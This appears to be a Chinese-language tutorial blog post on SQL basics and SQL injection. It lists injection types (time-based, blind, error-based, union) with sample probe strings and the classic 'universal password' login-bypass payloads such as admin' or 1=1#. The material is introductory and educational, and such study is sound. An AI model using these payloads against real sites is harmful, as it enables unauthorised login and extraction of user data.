zoukankan      html  css  js  c++  java
  • SQL注入

    一、SQL语句基础

    1.1、增删改查

    • insert into 库.表(列1,列2,....) values(值1,值2,....) 条件
    • delete from 库.表 条件
    • update 库.表 set 列1=值,列2=值 条件
    • select 列1,列2 from 库.表  条件(*代表全部列,limit分页(limit 起始下标,条数))
    • (sqlserver分页是用top)


    1.2、条件语句

    • where ....

    二、SQL注入

    2.1、什么是SQL注入

    用户提交的参数带入了SQL语句。

    2.2、SQL注入类型

    分类:注入取数据方式不一样来分类,(按获取数据的速度排列)

    • 延时注入sleep(秒)
    • 盲注(and 1=1 and 1=2)and hex(substr(data,1,1))>0
    • 错误显示注入(利用数据库的错误消息来进行注入),mysql(64个字符),oracle(大概2000个字符左右),mssql(1前多还是2千多字符)
    • union注入 union all select username from admin

    2.2.1、数字型:

    • sql="select * from news where id=1 and 1=1";
    • sql="select * from news where id=1 order by 1";


    2.2.2、字符型:

    • 1' and '1'='1
    • sql="select * from news where type='1' and '1'='1'";
    • sql="select * from news where type='1' order by 1'";


    2.2.3、搜索型:

    • %' and '%'='
    • sql="select * from news where title like '%%'"


    2.2.4、传说中的万能密码

    • admin' or 'a'='a
    • admin' or 1=1#(mysql)
    • admin' or 1=1--(sqlserver)
    • admin' or 1=1;--(sqlserver)
    • sql="select * from admin where username='' and password=''";
  • 相关阅读:
    BEC listen and translation exercise 44
    中译英12
    BEC listen and translation exercise 43
    中译英11
    BEC listen and translation exercise 42
    中译英10
    BEC listen and translation exercise 41
    中译英9
    BEC listen and translation exercise 40
    中译英8
  • 原文地址:https://www.cnblogs.com/geekdc/p/5344718.html
Copyright © 2011-2022 走看看